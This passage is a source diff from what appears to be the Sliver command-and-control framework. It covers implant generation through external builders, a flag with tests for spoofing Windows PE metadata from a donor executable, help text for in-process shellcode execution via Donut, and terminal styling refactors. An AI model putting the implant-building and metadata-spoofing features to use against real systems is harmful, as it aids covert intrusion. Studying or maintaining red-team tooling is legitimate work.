"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestNameOfOutputFormatGoArchive(t *testing.T) {
|
||||||
|
if got := nameOfOutputFormat(clientpb.OutputFormat_GO_ARCHIVE); got != "Go Archive" {
|
||||||
|
t.Fatalf("nameOfOutputFormat(GO_ARCHIVE) = %q, want %q", got, "Go Archive")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -19,6 +19,7 @@ package generate
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
@@ -81,9 +82,27 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
|||||||
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
_, err := compile(implantName, profile.Config, save, con)
|
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||||
if err != nil {
|
_, err := compile(implantName, profile.Config, nil, save, con)
|
||||||
return
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
_, err := externalBuild(implantName, profile.Config, nil, save, con)
|
||||||
|
if err != nil {
|
||||||
|
switch err {
|
||||||
|
case ErrNoExternalBuilder:
|
||||||
|
con.PrintErrorf("There are no external builders currently connected to the server\n")
|
||||||
|
con.PrintErrorf("See 'builders' command for more information\n")
|
||||||
|
case ErrNoValidBuilders:
|
||||||
|
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
|
||||||
|
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", profile.Config.Format, profile.Config.GOOS, profile.Config.GOARCH))
|
||||||
|
con.PrintErrorf("See 'builders' command for more information\n")
|
||||||
|
default:
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
con.PrintErrorf("No profile with name '%s'", name)
|
con.PrintErrorf("No profile with name '%s'", name)
|
||||||
|
|||||||
@@ -263,6 +263,8 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
|
|||||||
properties["format"] = "Executable"
|
properties["format"] = "Executable"
|
||||||
case clientpb.OutputFormat_SHARED_LIB:
|
case clientpb.OutputFormat_SHARED_LIB:
|
||||||
properties["format"] = "Shared Library"
|
properties["format"] = "Shared Library"
|
||||||
|
case clientpb.OutputFormat_GO_ARCHIVE:
|
||||||
|
properties["format"] = "Go Archive"
|
||||||
case clientpb.OutputFormat_SERVICE:
|
case clientpb.OutputFormat_SERVICE:
|
||||||
properties["format"] = "Service"
|
properties["format"] = "Service"
|
||||||
case clientpb.OutputFormat_SHELLCODE:
|
case clientpb.OutputFormat_SHELLCODE:
|
||||||
|
|||||||
@@ -0,0 +1,193 @@
|
|||||||
|
package generate
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagDefaultOff(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if spoofMetadata != nil {
|
||||||
|
t.Fatal("expected spoof metadata to be nil when flag is not set")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagNoArgUsesConfig(t *testing.T) {
|
||||||
|
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName}); err != nil {
|
||||||
|
t.Fatalf("ParseFlags() error: %v", err)
|
||||||
|
}
|
||||||
|
rootDir := os.Getenv("SLIVER_CLIENT_ROOT_DIR")
|
||||||
|
configPath := filepath.Join(rootDir, "spoof-metadata.yaml")
|
||||||
|
sourceData := []byte{0x01, 0x02, 0x03}
|
||||||
|
configData := "pe:\n source:\n name: donor.exe\n base64: " + base64.StdEncoding.EncodeToString(sourceData) + "\n"
|
||||||
|
if err := os.WriteFile(configPath, []byte(configData), 0o600); err != nil {
|
||||||
|
t.Fatalf("write spoof metadata config: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||||
|
t.Fatal("expected spoof metadata source from config file")
|
||||||
|
}
|
||||||
|
if got := spoofMetadata.GetPE().GetSource().GetData(); string(got) != string(sourceData) {
|
||||||
|
t.Fatalf("source data mismatch: got=%x want=%x", got, sourceData)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagPathFromPositionalArg(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
|
||||||
|
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName, sourcePath}); err != nil {
|
||||||
|
t.Fatalf("ParseFlags() error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||||
|
t.Fatal("expected spoof metadata source from positional path")
|
||||||
|
}
|
||||||
|
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
|
||||||
|
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagPathRejectsNonWindowsTarget(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
sourcePath := writeTempFile(t, "not-pe.bin", []byte("abc"))
|
||||||
|
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||||
|
t.Fatalf("set flag: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "linux",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
_, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error for non-windows target")
|
||||||
|
}
|
||||||
|
if !strings.Contains(err.Error(), "supports only windows PE targets") {
|
||||||
|
t.Fatalf("unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagPathChecksMachine(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
sourcePath := goPEFixturePath(t, "gcc-386-mingw-exec")
|
||||||
|
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||||
|
t.Fatalf("set flag: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
_, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected machine mismatch error")
|
||||||
|
}
|
||||||
|
if !strings.Contains(err.Error(), "expected amd64") {
|
||||||
|
t.Fatalf("unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagPathSuccess(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
|
||||||
|
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||||
|
t.Fatalf("set flag: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||||
|
t.Fatal("expected spoof metadata source from path")
|
||||||
|
}
|
||||||
|
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
|
||||||
|
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
|
||||||
|
}
|
||||||
|
if len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
|
||||||
|
t.Fatal("expected non-empty source data")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSpoofMetadataFlagUsageIsClean(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
usage := cmd.Flags().FlagUsages()
|
||||||
|
if !strings.Contains(usage, "--"+spoofMetadataFlagName) {
|
||||||
|
t.Fatalf("expected usage to include spoof metadata flag, got: %s", usage)
|
||||||
|
}
|
||||||
|
if strings.Contains(usage, "string[=") {
|
||||||
|
t.Fatalf("unexpected optional-string marker in usage: %s", usage)
|
||||||
|
}
|
||||||
|
if strings.Contains(usage, `[="`) {
|
||||||
|
t.Fatalf("unexpected no-opt default rendering in usage: %s", usage)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func newSpoofMetadataTestCommand(t *testing.T) *cobra.Command {
|
||||||
|
t.Helper()
|
||||||
|
cmd := &cobra.Command{Use: "test"}
|
||||||
|
bindSpoofMetadataFlag(cmd.Flags())
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeTempFile(t *testing.T, name string, data []byte) string {
|
||||||
|
t.Helper()
|
||||||
|
path := filepath.Join(t.TempDir(), name)
|
||||||
|
if err := os.WriteFile(path, data, 0o600); err != nil {
|
||||||
|
t.Fatalf("write temp file: %v", err)
|
||||||
|
}
|
||||||
|
return path
|
||||||
|
}
|
||||||
|
|
||||||
|
func goPEFixturePath(t *testing.T, fixtureName string) string {
|
||||||
|
t.Helper()
|
||||||
|
fixturePath := filepath.Join(runtime.GOROOT(), "src", "debug", "pe", "testdata", fixtureName)
|
||||||
|
if _, err := os.Stat(fixturePath); err != nil {
|
||||||
|
t.Skipf("missing PE fixture %s: %v", fixturePath, err)
|
||||||
|
}
|
||||||
|
return fixturePath
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
package generate
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
type spoofMetadataFlagValue struct {
|
||||||
|
value string
|
||||||
|
}
|
||||||
|
|
||||||
|
func newSpoofMetadataFlagValue() *spoofMetadataFlagValue {
|
||||||
|
return &spoofMetadataFlagValue{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *spoofMetadataFlagValue) Set(value string) error {
|
||||||
|
value = strings.TrimSpace(value)
|
||||||
|
switch strings.ToLower(value) {
|
||||||
|
case "", "true":
|
||||||
|
s.value = "true"
|
||||||
|
case "false":
|
||||||
|
s.value = "false"
|
||||||
|
default:
|
||||||
|
s.value = value
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *spoofMetadataFlagValue) String() string {
|
||||||
|
return s.value
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *spoofMetadataFlagValue) Type() string {
|
||||||
|
return "bool"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *spoofMetadataFlagValue) IsBoolFlag() bool {
|
||||||
|
return true
|
||||||
|
}
|
||||||
@@ -71,7 +71,7 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console
|
|||||||
allIDs = append(allIDs, encoder.ID)
|
allIDs = append(allIDs, encoder.ID)
|
||||||
name := encoder.Wasm.Name
|
name := encoder.Wasm.Name
|
||||||
if isDuplicate {
|
if isDuplicate {
|
||||||
name = fmt.Sprintf(console.Bold+console.Red+"%s (duplicate id)"+console.Normal, name)
|
name = console.StyleBoldRed.Render(fmt.Sprintf("%s (duplicate id)", name))
|
||||||
}
|
}
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
encoder.ID,
|
encoder.ID,
|
||||||
@@ -212,9 +212,9 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest
|
|||||||
for _, test := range tests.Tests {
|
for _, test := range tests.Tests {
|
||||||
var success string
|
var success string
|
||||||
if test.Success {
|
if test.Success {
|
||||||
success = console.Bold + console.Green + "Passed" + console.Normal
|
success = console.StyleBoldGreen.Render("Passed")
|
||||||
} else {
|
} else {
|
||||||
success = console.Bold + console.Red + "Failed!" + console.Normal
|
success = console.StyleBoldRed.Render("Failed!")
|
||||||
}
|
}
|
||||||
errorMsg := "N/A"
|
errorMsg := "N/A"
|
||||||
if test.Err != "" {
|
if test.Err != "" {
|
||||||
@@ -234,7 +234,7 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest
|
|||||||
if running {
|
if running {
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Printf(console.Bold+" >>> Running test %d of %d please wait ...\r"+console.Normal, len(tests.Tests), tests.TotalTests)
|
con.Printf("%s\r", console.StyleBold.Render(fmt.Sprintf(" >>> Running test %d of %d please wait ...", len(tests.Tests), tests.TotalTests)))
|
||||||
lineCount += 2
|
lineCount += 2
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -23,12 +23,13 @@ package help
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"image/color"
|
||||||
"strings"
|
"strings"
|
||||||
"text/template"
|
|
||||||
|
|
||||||
|
"charm.land/lipgloss/v2"
|
||||||
consts "github.com/bishopfox/sliver/client/constants"
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/bishopfox/sliver/client/theme"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -55,6 +56,9 @@ var (
|
|||||||
consts.LsStr: lsHelp,
|
consts.LsStr: lsHelp,
|
||||||
consts.CdStr: cdHelp,
|
consts.CdStr: cdHelp,
|
||||||
consts.PwdStr: pwdHelp,
|
consts.PwdStr: pwdHelp,
|
||||||
|
consts.AIStr: aiHelp,
|
||||||
|
consts.AIConfigStr: aiConfigHelp,
|
||||||
|
consts.DocsStr: docsHelp,
|
||||||
consts.CatStr: catHelp,
|
consts.CatStr: catHelp,
|
||||||
consts.EditStr: editHelp,
|
consts.EditStr: editHelp,
|
||||||
consts.HexEditStr: hexEditHelp,
|
consts.HexEditStr: hexEditHelp,
|
||||||
@@ -166,6 +170,29 @@ _=/usr/bin/env
|
|||||||
infoHelp = `[[.Bold]]Command:[[.Normal]] info <sliver name/session>
|
infoHelp = `[[.Bold]]Command:[[.Normal]] info <sliver name/session>
|
||||||
[[.Bold]]About:[[.Normal]] Get information about a Sliver by name, or for the active Sliver.`
|
[[.Bold]]About:[[.Normal]] Get information about a Sliver by name, or for the active Sliver.`
|
||||||
|
|
||||||
|
aiHelp = `[[.Bold]]Command:[[.Normal]] ai
|
||||||
|
[[.Bold]]About:[[.Normal]] Launch the Sliver AI Bubble Tea TUI. The AI workspace now loads server-side conversation threads over gRPC, keeps them synced through the shared event stream, and renders conversation transcripts as markdown in the main pane.
|
||||||
|
|
||||||
|
[[.Bold]]Example:[[.Normal]]
|
||||||
|
use my-session
|
||||||
|
ai
|
||||||
|
`
|
||||||
|
|
||||||
|
aiConfigHelp = `[[.Bold]]Command:[[.Normal]] ai-config
|
||||||
|
[[.Bold]]About:[[.Normal]] Open a server-side form to update the AI block in server.yaml. The form stores the default provider, model, thinking level, and provider-specific credentials such as the API key and optional base URL.
|
||||||
|
|
||||||
|
[[.Bold]]Example:[[.Normal]]
|
||||||
|
ai-config
|
||||||
|
`
|
||||||
|
|
||||||
|
docsHelp = `[[.Bold]]Command:[[.Normal]] docs
|
||||||
|
[[.Bold]]About:[[.Normal]] Browse the embedded Sliver documentation in a Bubble Tea TUI. The left pane is a searchable docs browser, and the right pane renders markdown with Glow styling.
|
||||||
|
[[.Bold]]Keys:[[.Normal]] Use / to filter docs, enter to focus the selected document, tab to switch panes, and q to quit.
|
||||||
|
|
||||||
|
[[.Bold]]Example:[[.Normal]]
|
||||||
|
docs
|
||||||
|
`
|
||||||
|
|
||||||
useHelp = `[[.Bold]]Command:[[.Normal]] use [sliver name/session]
|
useHelp = `[[.Bold]]Command:[[.Normal]] use [sliver name/session]
|
||||||
[[.Bold]]About:[[.Normal]] Switch the active Sliver, a valid name must be provided (see sessions).`
|
[[.Bold]]About:[[.Normal]] Switch the active Sliver, a valid name must be provided (see sessions).`
|
||||||
|
|
||||||
@@ -436,8 +463,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
|||||||
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
||||||
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
||||||
|
|
||||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
|
||||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
|
||||||
|
converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
|
||||||
|
|
||||||
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
||||||
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
||||||
@@ -1418,24 +1446,6 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
|||||||
To get information about services, you need to be an authenticated user on the system or domain. To control services, you need administrator or higher privileges.`
|
To get information about services, you need to be an authenticated user on the system or domain. To control services, you need administrator or higher privileges.`
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
|
||||||
// ANSI Colors
|
|
||||||
normal = "\033[0m"
|
|
||||||
black = "\033[30m"
|
|
||||||
red = "\033[31m"
|
|
||||||
green = "\033[32m"
|
|
||||||
orange = "\033[33m"
|
|
||||||
blue = "\033[34m"
|
|
||||||
purple = "\033[35m"
|
|
||||||
cyan = "\033[36m"
|
|
||||||
gray = "\033[37m"
|
|
||||||
bold = "\033[1m"
|
|
||||||
clearln = "\r\x1b[2K"
|
|
||||||
upN = "\033[%dA"
|
|
||||||
downN = "\033[%dB"
|
|
||||||
underline = "\033[4m"
|
|
||||||
)
|
|
||||||
|
|
||||||
// GetHelpFor - Get help string for a command
|
// GetHelpFor - Get help string for a command
|
||||||
func GetHelpFor(cmdName []string) string {
|
func GetHelpFor(cmdName []string) string {
|
||||||
if 0 < len(cmdName) {
|
if 0 < len(cmdName) {
|
||||||
@@ -1446,34 +1456,100 @@ func GetHelpFor(cmdName []string) string {
|
|||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
// FormatHelpTmpl - Applies format template to help string
|
type helpStyleState struct {
|
||||||
|
bold bool
|
||||||
|
underline bool
|
||||||
|
fgSet bool
|
||||||
|
fg color.Color
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *helpStyleState) reset() {
|
||||||
|
s.bold = false
|
||||||
|
s.underline = false
|
||||||
|
s.fgSet = false
|
||||||
|
s.fg = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *helpStyleState) apply(token string) bool {
|
||||||
|
switch token {
|
||||||
|
case "Normal":
|
||||||
|
s.reset()
|
||||||
|
case "Bold":
|
||||||
|
s.bold = true
|
||||||
|
case "Underline":
|
||||||
|
s.underline = true
|
||||||
|
case "Black":
|
||||||
|
s.fgSet, s.fg = true, theme.DefaultMod(50)
|
||||||
|
case "Red":
|
||||||
|
s.fgSet, s.fg = true, theme.Danger()
|
||||||
|
case "Green":
|
||||||
|
s.fgSet, s.fg = true, theme.Success()
|
||||||
|
case "Orange":
|
||||||
|
s.fgSet, s.fg = true, theme.Warning()
|
||||||
|
case "Blue":
|
||||||
|
s.fgSet, s.fg = true, theme.Primary()
|
||||||
|
case "Purple":
|
||||||
|
s.fgSet, s.fg = true, theme.Secondary()
|
||||||
|
case "Cyan":
|
||||||
|
s.fgSet, s.fg = true, theme.PrimaryMod(500)
|
||||||
|
case "Gray":
|
||||||
|
// ANSI "gray" (37) is typically light; map to the lightest neutral.
|
||||||
|
s.fgSet, s.fg = true, theme.DefaultMod(900)
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s helpStyleState) render(text string) string {
|
||||||
|
if text == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
st := lipgloss.NewStyle()
|
||||||
|
if s.bold {
|
||||||
|
st = st.Bold(true)
|
||||||
|
}
|
||||||
|
if s.underline {
|
||||||
|
st = st.Underline(true)
|
||||||
|
}
|
||||||
|
if s.fgSet {
|
||||||
|
st = st.Foreground(s.fg)
|
||||||
|
}
|
||||||
|
return st.Render(text)
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatHelpTmpl - Applies the help markup (e.g. [[.Bold]]...[[.Normal]]) using lipgloss.
|
||||||
func FormatHelpTmpl(helpStr string) string {
|
func FormatHelpTmpl(helpStr string) string {
|
||||||
outputBuf := bytes.NewBufferString("")
|
var (
|
||||||
tmpl, _ := template.New("help").Delims("[[", "]]").Parse(helpStr)
|
out strings.Builder
|
||||||
tmpl.Execute(outputBuf, struct {
|
state helpStyleState
|
||||||
Normal string
|
)
|
||||||
Bold string
|
state.reset()
|
||||||
Underline string
|
|
||||||
Black string
|
i := 0
|
||||||
Red string
|
for i < len(helpStr) {
|
||||||
Green string
|
j := strings.Index(helpStr[i:], "[[.")
|
||||||
Orange string
|
if j < 0 {
|
||||||
Blue string
|
out.WriteString(state.render(helpStr[i:]))
|
||||||
Purple string
|
break
|
||||||
Cyan string
|
}
|
||||||
Gray string
|
j += i
|
||||||
}{
|
if j > i {
|
||||||
Normal: normal,
|
out.WriteString(state.render(helpStr[i:j]))
|
||||||
Bold: bold,
|
}
|
||||||
Underline: underline,
|
|
||||||
Black: black,
|
k := strings.Index(helpStr[j:], "]]")
|
||||||
Red: red,
|
if k < 0 {
|
||||||
Green: green,
|
out.WriteString(state.render(helpStr[j:]))
|
||||||
Orange: orange,
|
break
|
||||||
Blue: blue,
|
}
|
||||||
Purple: purple,
|
token := helpStr[j+3 : j+k]
|
||||||
Cyan: cyan,
|
if !state.apply(token) {
|
||||||
Gray: gray,
|
// Unknown token; preserve it as plain text.
|
||||||
})
|
out.WriteString(helpStr[j : j+k+2])
|
||||||
return outputBuf.String()
|
}
|
||||||
|
i = j + k + 2
|
||||||
|
}
|
||||||
|
|
||||||
|
return out.String()
|
||||||
}
|
}
|
||||||
@@ -5,9 +5,10 @@ import (
|
|||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
|
"charm.land/lipgloss/v2"
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
"github.com/bishopfox/sliver/util"
|
"github.com/bishopfox/sliver/util"
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
"golang.org/x/term"
|
"golang.org/x/term"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -61,13 +62,19 @@ type editorModel struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
cursorStyle = lipgloss.NewStyle().Reverse(true)
|
lineStyle = lipgloss.NewStyle()
|
||||||
modifiedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
|
|
||||||
modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
|
|
||||||
statusStyle = lipgloss.NewStyle().Reverse(true)
|
|
||||||
lineStyle = lipgloss.NewStyle()
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
ansiReverseOn = "\x1b[7m"
|
||||||
|
ansiReverseOff = "\x1b[0m"
|
||||||
|
)
|
||||||
|
|
||||||
|
func modifiedStyle() lipgloss.Style {
|
||||||
|
// Read from the global console theme so theme.yaml changes are reflected.
|
||||||
|
return console.StyleWarning
|
||||||
|
}
|
||||||
|
|
||||||
func newEditorModel(data []byte, filename string, offset int) *editorModel {
|
func newEditorModel(data []byte, filename string, offset int) *editorModel {
|
||||||
copyData := append([]byte(nil), data...)
|
copyData := append([]byte(nil), data...)
|
||||||
model := &editorModel{
|
model := &editorModel{
|
||||||
@@ -105,30 +112,31 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
|||||||
m.height = msg.Height
|
m.height = msg.Height
|
||||||
m.ensureCursorVisible()
|
m.ensureCursorVisible()
|
||||||
return m, nil
|
return m, nil
|
||||||
case tea.KeyMsg:
|
case tea.KeyPressMsg:
|
||||||
if m.clearMessage {
|
if m.clearMessage {
|
||||||
m.message = ""
|
m.message = ""
|
||||||
m.clearMessage = false
|
m.clearMessage = false
|
||||||
}
|
}
|
||||||
if msg.Type == tea.KeyCtrlC {
|
key := msg.Key()
|
||||||
|
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
|
||||||
m.action = actionQuit
|
m.action = actionQuit
|
||||||
return m, tea.Quit
|
return m, tea.Quit
|
||||||
}
|
}
|
||||||
switch m.mode {
|
switch m.mode {
|
||||||
case modeCommand:
|
case modeCommand:
|
||||||
return m.handleCommand(msg)
|
return m.handleCommand(key)
|
||||||
case modeHexEdit:
|
case modeHexEdit:
|
||||||
return m.handleHexEdit(msg)
|
return m.handleHexEdit(key)
|
||||||
case modeASCIIEdit:
|
case modeASCIIEdit:
|
||||||
return m.handleASCIIEdit(msg)
|
return m.handleASCIIEdit(key)
|
||||||
default:
|
default:
|
||||||
return m.handleNormal(msg)
|
return m.handleNormal(key)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) View() string {
|
func (m *editorModel) View() tea.View {
|
||||||
if m.width == 0 || m.height == 0 {
|
if m.width == 0 || m.height == 0 {
|
||||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
m.width = w
|
m.width = w
|
||||||
@@ -151,19 +159,33 @@ func (m *editorModel) View() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if m.height < 2 {
|
if m.height < 2 {
|
||||||
return b.String()
|
return hexEditorView(b.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
b.WriteByte('\n')
|
b.WriteByte('\n')
|
||||||
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
|
b.WriteString(renderStatusBar(m.width, m.statusLine()))
|
||||||
|
|
||||||
if m.height < 3 {
|
if m.height < 3 {
|
||||||
return b.String()
|
return hexEditorView(b.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
